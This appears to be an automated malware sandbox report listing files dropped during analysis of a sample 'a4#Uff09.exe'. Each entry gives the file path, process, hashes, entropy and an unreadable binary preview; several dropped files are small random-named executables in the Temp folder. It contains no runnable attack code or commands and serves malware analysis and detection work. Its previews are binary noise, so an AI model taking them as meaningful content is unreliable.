                                                          Preview:..E.............93...{a..2...{+.........<...:.I..(...{..................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\.........................................................................................................................................................................................................C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\..........................................................................................................................................................................................................0u.............................................$..........V...".".#......... ..g.......P.......h.%.......#......./..(...{..................C.:.\.U.s.e.r.s.\.f.r.o.n.t.d.e.s.k.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s.\.W.e.b.C.a.c.h.e.\.W.e.b.C.a.c.h.e.V.0.1...d.a.t....................................................................................................................

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat

                                                          Download File
                                                          Process:C:\Windows\System32\dllhost.exe
                                                          File Type:Extensible storage engine DataBase, version 0x620, checksum 0x886b4b57, page size 32768, DirtyShutdown, Windows version 10.0
                                                          Category:dropped
                                                          Size (bytes):15728640
                                                          Entropy (8bit):0.9240668666323079
                                                          Encrypted:false
                                                          SSDEEP:6144:g9QbQEUUMBPPpBPJmNjfiEWC7WbeQpWK/qZCCkxpu514dCVZ3L9yqXx4SU8GxJHp:En/cj5tmN5ApbK4K
                                                          MD5:1BB1927C113CE9E78AEE8504FA58AE51
                                                          SHA1:45EC203EFFF7D68DB6371A8EF533DA51FB6E3A39
                                                          SHA-256:1F2F3BB4977DCFBE54E50F96B361CB6FC3E24886E9BBEFE9BCC3D3CE6B73F34A
                                                          SHA-512:B590EFF6AEAA9AB65A435CFDC53FA08DA8B1D47650B71752FF7BB4528211DE383A029CF1B3B15165C86ED0D5F89091EAE62DF582E5C14CCD2192136863A7C502
                                                          Malicious:false
                                                          Preview:.kKW... ................./..(...{........................&.....#6...{.......|..h.(.........................:.I..(...{..............................................................................................P...........eJ......n........................................................................................................... .......93...{a..................................................................................................................................................................................................|...................................".......|...................,......|i..........................#........).....................................................................................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.jfm

                                                          Download File
                                                          Process:C:\Windows\System32\dllhost.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):16384
                                                          Entropy (8bit):0.1256168674737519
                                                          Encrypted:false
                                                          SSDEEP:3:Y1Wl/Pz+6d6/VTGWel/ll2Psgt/all6Vz//nlyal2AlnrDtvj/VQ3luP8ilywoJN:Yi/P/0atouQpwaAAlsVuP8ilEJCD/+
                                                          MD5:8AF2205AF6639DA3BBD2AEC0578A956D
                                                          SHA1:849ECDAA4F9F95F14530D93AA0BE1AFD178497FA
                                                          SHA-256:4181A014E654421EEF52DC51377C5636D73049098138B90A6C2D9B86788C46D9
                                                          SHA-512:9E64E3D1FDA624823343A8B1409986C3CD93CE08F325856C9F6F0F6D68EE62886BAAA2F0090FB261B9694883CFEE5ACA989105A80ADB4C08F12C4583F02B23ED
                                                          Malicious:false
                                                          Preview:k........................................(...{.......|..#6...{..........3....|=......|K..".......|..................H.f......|K.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{12fcb548-6943-42d0-941a-3e8b7d799a53}\0.0.filtertrie.intermediate.txt

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:Unicode text, UTF-8 text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):37478
                                                          Entropy (8bit):4.616494795986474
                                                          Encrypted:false
                                                          SSDEEP:768:0UTQxwcukEZDq5RmSHG4Wy84ye03aFHm2iLfOXYc5PjZ:d6yX80S9y4yeQ+vUfOo6jZ
                                                          MD5:D384FC96427EA5802088E89EC52827ED
                                                          SHA1:B2FFF6B04D79D1A73B7A97864A5EDBC87E7DD6BA
                                                          SHA-256:E768288098B14F1803C812E85655E9CFB2F46B9E4EF4DB484C43B574D9A3017A
                                                          SHA-512:38204498113FC159E489167FF2CC09AC46CC746A7EE41D85B12581D961A8714E7ED41FC68A837DC6A085BF44E744B17FB8ED6EEB48B672015EF005735532AE25
                                                          Malicious:false
                                                          Preview:0.0....~.....~.....~.....~.....~.....~...~.....~.....~.....~.......~......~.......~.....~.....~.....~.....~......~.....~.....~......~......~.......~.....~......~.....~.......~.......~......~.....~......~.......~.....~......~.....~.....~.....~......~......~.....~......~.....~.............~.......~...md~...alc~..zune~..zord~..znip~..zip help~..zip file manager~..yourphone~..your phone~..yhis pc~..y pc~..y computer~..xxbox~..xox~..xontrol panel~..xonreol~..xnox~..xnipping~..xms~..xmd~..xls:wux:xls~..xhrome~..xcontrol~..xcmd~..xchrome~..xcalc~..xbxox~..xbv~..xbpx~..xboz~..xbox~..xboxx~..xboxc~..xbos~..xbop~..xboox~..xboix~..xboc~..xbob~..xbix~..xbb~..xamera~..xalc~..x86)~..x64)~..x box~..wyc~..wxcwl~..wxcel~..wword~..wsord~..wsnip~..wrord~..wrod~..wrodpad~..wqord~..wprd~..wprdpad~..wpord~..wowrd~.

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{12fcb548-6943-42d0-941a-3e8b7d799a53}\0.1.filtertrie.intermediate.txt

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):5
                                                          Entropy (8bit):2.321928094887362
                                                          Encrypted:false
                                                          SSDEEP:3:Dy:W
                                                          MD5:34BD1DFB9F72CF4F86E6DF6DA0A9E49A
                                                          SHA1:5F96D66F33C81C0B10DF2128D3860E3CB7E89563
                                                          SHA-256:8E1E6A3D56796A245D0C7B0849548932FEE803BBDB03F6E289495830E017F14C
                                                          SHA-512:E3787DE7C4BC70CA62234D9A4CDC6BD665BFFA66DEBE3851EE3E8E49E7498B9F1CBC01294BF5E9F75DE13FB78D05879E82FA4B89EE45623FE5BF7AC7E48EDA96
                                                          Malicious:false
                                                          Preview:0.1..

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{12fcb548-6943-42d0-941a-3e8b7d799a53}\0.2.filtertrie.intermediate.txt

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:ASCII text, with CRLF line terminators
                                                          Category:dropped
                                                          Size (bytes):5
                                                          Entropy (8bit):2.321928094887362
                                                          Encrypted:false
                                                          SSDEEP:3:Ay:Ay
                                                          MD5:C204E9FAAF8565AD333828BEFF2D786E
                                                          SHA1:7D23864F5E2A12C1A5F93B555D2D3E7C8F78EEC1
                                                          SHA-256:D65B6A3BF11A27A1CED1F7E98082246E40CF01289FD47FE4A5ED46C221F2F73F
                                                          SHA-512:E72F4F79A4AE2E5E40A41B322BC0408A6DEC282F90E01E0A8AAEDF9FB9D6F04A60F45A844595727539C1643328E9C1B989B90785271CC30A6550BBDA6B1909F8
                                                          Malicious:false
                                                          Preview:0.2..

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{12fcb548-6943-42d0-941a-3e8b7d799a53}\Apps.ft

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):50529
                                                          Entropy (8bit):3.7504458737006634
                                                          Encrypted:false
                                                          SSDEEP:1536:Wphkq/9PYdKNAd1d0f41w1Ii0OyAAZXjLdk6nkUjXfhteVoVPPP8Uoi1/hk5L9sS:WPkq/1YdKNAd1d0f41w1Ii5yAAZXHd+X
                                                          MD5:2BC2437BFC598EE4A4A06EB9087AA9E5
                                                          SHA1:071F40B9F1F749AC8EEC7773F4B05A57D826EF09
                                                          SHA-256:2BCEE51994A9AE15C804A30404999FB75A5511AC565286ECD9E5DEDAB557BE3B
                                                          SHA-512:EC2CB55F6297582784BB46EA3745222FA717526425581350224C5F88F0E0AB97E4F17E504C0A2A074163D6DB3B569A673D1F4289E7126AB3B1AB7B4C13E1CF75
                                                          Malicious:false
                                                          Preview:........B.......h...."cmd"~........A%..*aint~.........+r~........A,#A..A0..192~.........2016~........A3.A60A7.A[bAa,.bY..ck..db(.e...f'..g*..h6..iq..j..AkG.l*..m2..nL..o...pJ..q..Ar_.s...tK..u..Av.wS..x...y..AzWB.RA..A.IC..dA......A.c..~........C.LA..C.(I..Cpre..run%~.........fetch%~.........ail~.........stsc~.........cmd~.........run~.........utlook~.........2-bit)~........Id.A ..~.........viewer~.........4-bit)~......... zip~........D-zip.Iz3A ..~........Ffile m..help~.........anager~.........fm~.........ip~........Aa..paint~.........int~.........omt~........CbouDAc.Ad.Ae.Ckyp.Al..mil~........An.Apa.rJ.As.At'Au..zure~.........t java~.........alc~........DcessS.ess~.........lc~.........md~.........on~.........robat~........G contro..s~.........~........Ol:wux:a.Occess c..ontrol~........Eapter%.b~........Ad"Cmin4Eobe a=Jva.F:wux:a..~.........dapter~........Fress b..~........Oook:wux.O:addres..s book~........E cmd:.Jis.Owux:adm..in cmd~........Otrative.. tools~.........crobat~.

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{12fcb548-6943-42d0-941a-3e8b7d799a53}\Apps.index

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):1126927
                                                          Entropy (8bit):6.1476500815457
                                                          Encrypted:false
                                                          SSDEEP:12288:MxmthXv3zrLoE1Bx7BefoQaWFxAm8DStxmthXv3zrLoE1Bx7BefoQaWFxAm8DSkG:AoLr7YfoyFxz8GfoLr7YfoyFxz8G1LN
                                                          MD5:D3539A3BEEE8140A71AC2630F354A72F
                                                          SHA1:1D713B55B0E0C952E3484A86ED44FD224618AEA6
                                                          SHA-256:B9329B9E273B353DFAF499AA244523788B322CB30DAB1C3B78800A3967CE69D4
                                                          SHA-512:83409A58393DC229CF6CFBFB127CF9A7DAF5A6ABA4C23412E57D652BAD038EFDCD5579D48EC396182BFDFC3B778053594AB1CE754A84752B32384C5F0DC83F13
                                                          Malicious:false
                                                          Preview:Ej..D..WindowsSearch....Apps...name..gscore..lscore...market.spelling.fE.h...K........~<~i..'..uT..r..7.c..l.s..P.x..c.k....p....'..CR*a..Qn...a.,[.o2..t.u}.,{f.m.Q..e ;.w.0..l..(.y..P......gy..d.:&.i.;.[..n.b....j.z#.@.E.Q!..Q......N.Q/...`.z.Qh.7.f..+.4.. . ....v..L.8..Q6#.Q\..Qq.B.;.}..0....9...A5...X.Qz.H.7.'..%. .Q3.8.....Q21/...M.Q.kQ-..."""""""jo..&.I.Q+.uQ1j...j.a:..Ab...;b...Q...'.<...#?< ..a_C..b]<3../.<...Ae..t!...u...Qb...n....y._.Qj.{Ql =.p.S..m)o..k...Qo..Qh..Q;7CQi1..w2..Qf.2Qd8h.r....sE...a.<..cZ... \...z."..,me<ume.Q.z5Qxx.av>.*Q[@R.24<u 24.ig...At.Qnv.Q .'Qo0xae....yo<uetoDam"...k<ue k.Qs.0ab..=&i<ue i+..j<ue jhQd..Qr..Qc.`&p<ue p...a<ue a.&w<ue w..&f<ue f..&h<ue h...v<ue v.Ql..&.<ube....g<ue g....<uetoet<uet..TUh<uet..&u<ueto..&p<ueto..%y<uet..cr<u...Re<...i<uetoMa<...-o<eto...o(...o(...ter*et...ute.eute..luetjuey...st* ta..s<unes%e<unew..n<ueenfj<u....men+e n...t<uetbs<..X%j<uej...2<ue2M%b<ueb[.%g<ueg...h<ueh.%v<uev1.%c<uec..%p<uep6.%f<uef..j<uo...ue

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133646369926237557.txt (copy)

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:JSON data
                                                          Category:dropped
                                                          Size (bytes):114988
                                                          Entropy (8bit):5.180082709488836
                                                          Encrypted:false
                                                          SSDEEP:384:+/y8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ik/I:w0zozbj4J9N/rid10gY
                                                          MD5:CF4B1216EBA92F504C9F133A77D6C691
                                                          SHA1:1DC4BFDE18661713CB5329150A1AE5D5E007D56B
                                                          SHA-256:E82A489E7CD10EA0AD822C6576B2CB045AB7F678D4E48507F8ECC113BCE245D9
                                                          SHA-512:B50AB26BE3612108AD785194A9A653D47CACE641C5EE6D7FC559675A48732F156629CED565173F2F9C3A765B401DBC6311CE6DF4A8820551DE05079BC0CEA547
                                                          Malicious:false
                                                          Preview:[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":4,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340965291152E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

                                                          C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133646369926237557.txt.~tmp

                                                          Download File
                                                          Process:C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe
                                                          File Type:JSON data
                                                          Category:dropped
                                                          Size (bytes):114988
                                                          Entropy (8bit):5.180082709488836
                                                          Encrypted:false
                                                          SSDEEP:384:+/y8/n5LU/gT2/HA/Uc/jq/YI/Zk/Ey/eX/NV/CzS/1o/Yd/e4/YI/y+/jg/ik/I:w0zozbj4J9N/rid10gY
                                                          MD5:CF4B1216EBA92F504C9F133A77D6C691
                                                          SHA1:1DC4BFDE18661713CB5329150A1AE5D5E007D56B
                                                          SHA-256:E82A489E7CD10EA0AD822C6576B2CB045AB7F678D4E48507F8ECC113BCE245D9
                                                          SHA-512:B50AB26BE3612108AD785194A9A653D47CACE641C5EE6D7FC559675A48732F156629CED565173F2F9C3A765B401DBC6311CE6DF4A8820551DE05079BC0CEA547
                                                          Malicious:false
                                                          Preview:[{"System.FileExtension":{"Value":".exe","Type":12},"System.Software.ProductVersion":{"Value":"N/A","Type":12},"System.Kind":{"Value":"program","Type":12},"System.ParsingName":{"Value":"308046B0AF4A39CB","Type":12},"System.Software.TimesUsed":{"Value":4,"Type":5},"System.Tile.Background":{"Value":4280291898,"Type":5},"System.AppUserModel.PackageFullName":{"Value":"N/A","Type":12},"System.Identity":{"Value":"N/A","Type":12},"System.FileName":{"Value":"firefox","Type":12},"System.ConnectedSearch.JumpList":{"Value":"[]","Type":12},"System.ConnectedSearch.VoiceCommandExamples":{"Value":"[]","Type":12},"System.ItemType":{"Value":"Desktop","Type":12},"System.DateAccessed":{"Value":1.3340965291152E+17,"Type":14},"System.Tile.EncodedTargetPath":{"Value":"{6D809377-6AF0-444B-8957-A3773F02200E}\\Mozilla Firefox\\firefox.exe","Type":12},"System.Tile.SmallLogoPath":{"Value":"N/A","Type":12},"System.ItemNameDisplay":{"Value":"Firefox","Type":12}},{"System.FileExtension":{"Value":".exe","Type":12},"

                                                          C:\Users\user\AppData\Local\Temp\026D1798.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:modified
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Temp\1FB242CD.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Temp\6B8871C2.exe

                                                          Download File
                                                          Process:C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          File Type:ASCII text
                                                          Category:dropped
                                                          Size (bytes):4
                                                          Entropy (8bit):1.5
                                                          Encrypted:false
                                                          SSDEEP:3:Nv:9
                                                          MD5:D3B07384D113EDEC49EAA6238AD5FF00
                                                          SHA1:F1D2D2F924E986AC86FDF7B36C94BCDF32BEEC15
                                                          SHA-256:B5BB9D8014A0F9B1D61E21E796D78DCCDF1352F23CD32812F4850B878AE4944C
                                                          SHA-512:0CF9180A764ABA863A67B6D72F0918BC131C6772642CB2DCE5A34F0A702F9470DDC2BF125C12198B1995C233C34B4AFD346C54A2334C350A948A51B6E8B4E6B6
                                                          Malicious:false
                                                          Preview:foo.

                                                          C:\Users\user\AppData\Local\Temp\aaqomd.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\aimn.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\aisaa.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\aluks.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\annt.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\arpbuf.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
                                                          SHA-256:B2C202F638284DCA99822379F447FC45100F0EA2AA3E19DBAD8DD47F55ADF033
                                                          SHA-512:458B5103762FAAE5FD47BBEBBA479551DB8D9C3C3E5F9D77671E1D05AF1FE00750D3FA6DFB34C4799245A0402F8446C82B1FFC4890FAA294AA0C6E9976EBF2E6
                                                          Malicious:false
                                                          Preview:.M.4..{.}...Y......r..~.3.d..A......$..a76W.W;.....I:....JFc...,.R_L00r.R+%./....r..K.%.M....w.iKn;.. ...{.H{..];.._..`<..<...M.].....{..F...t5m...b....e....^.D.3.n.C.j.........?..%?!e.Z=.v.Q,.S......DVji#........{.&.f.S..).(..J.<......|*...|..b.

                                                          C:\Users\user\AppData\Local\Temp\aupba.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\ayctqe.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):340
                                                          Entropy (8bit):7.428989227311812
                                                          Encrypted:false
                                                          SSDEEP:6:gZJO5bFL66/NU/K/8co34DbynLoaqRQs/Cb9rbJVoHwsrgbFRFhNMod7:gbQFWtG8cxbyLFjb9rbJihrcRFhNMM
                                                          MD5:2516CA1835F985ADEAB21CFBC34FF724
                                                          SHA1:84D5608CFC6ADDA355587C0EC9824879404316EF
                                                          SHA-256:85E67D6B1FD7741E4AF758EE5E108DDE1432D414CBF34B18BAA417044EB8EAC1
                                                          SHA-512:B0D3CF50931C5794A0584895911F15F6F2B44244C55AD0FF75C020C18BC3599D2C736D7608A11AE54F9D369B4718769C726FEBEF37EDDAA76F632E5AB487ADE6
                                                          Malicious:false
                                                          Preview:9.?...h.q.I......;4.\...*CJ.. ..C.gN."..v.v.^].!.Qr...U..RM.......g..T$8..,....Y[f].....'..S..%..8._..n.Dx...&.....a....0=..........2.[.qki.1...0...-wW_.8.:sP.O.&..........8V....^E..?N.H.!Mk<wo.......0v..N.y....z..z...q....I.R8`........S........o.P57..,.n.".c...8....MjD.q-`..m.Xg......u.~..9.p.AQ%cE..z........F..rt...A.-....

                                                          C:\Users\user\AppData\Local\Temp\bher.exe

                                                          Download File
                                                          Process:C:\Users\user\Desktop\a4#Uff09.exe
                                                          File Type:data
                                                          Category:dropped
                                                          Size (bytes):258
                                                          Entropy (8bit):7.284780829056715
                                                          Encrypted:false
                                                          SSDEEP:6:EGGrshSV4EmRJBY9aqgbSKoD9ih7lZDlezcHZ47l7q2w32:EGGAhSuC9albSKa9illezcW7L
                                                          MD5:88D20B23F81FA97A852263FC732277F8
                                                          SHA1:9F739F07E8827D6850593B4358FE4AB0D9A5FF79
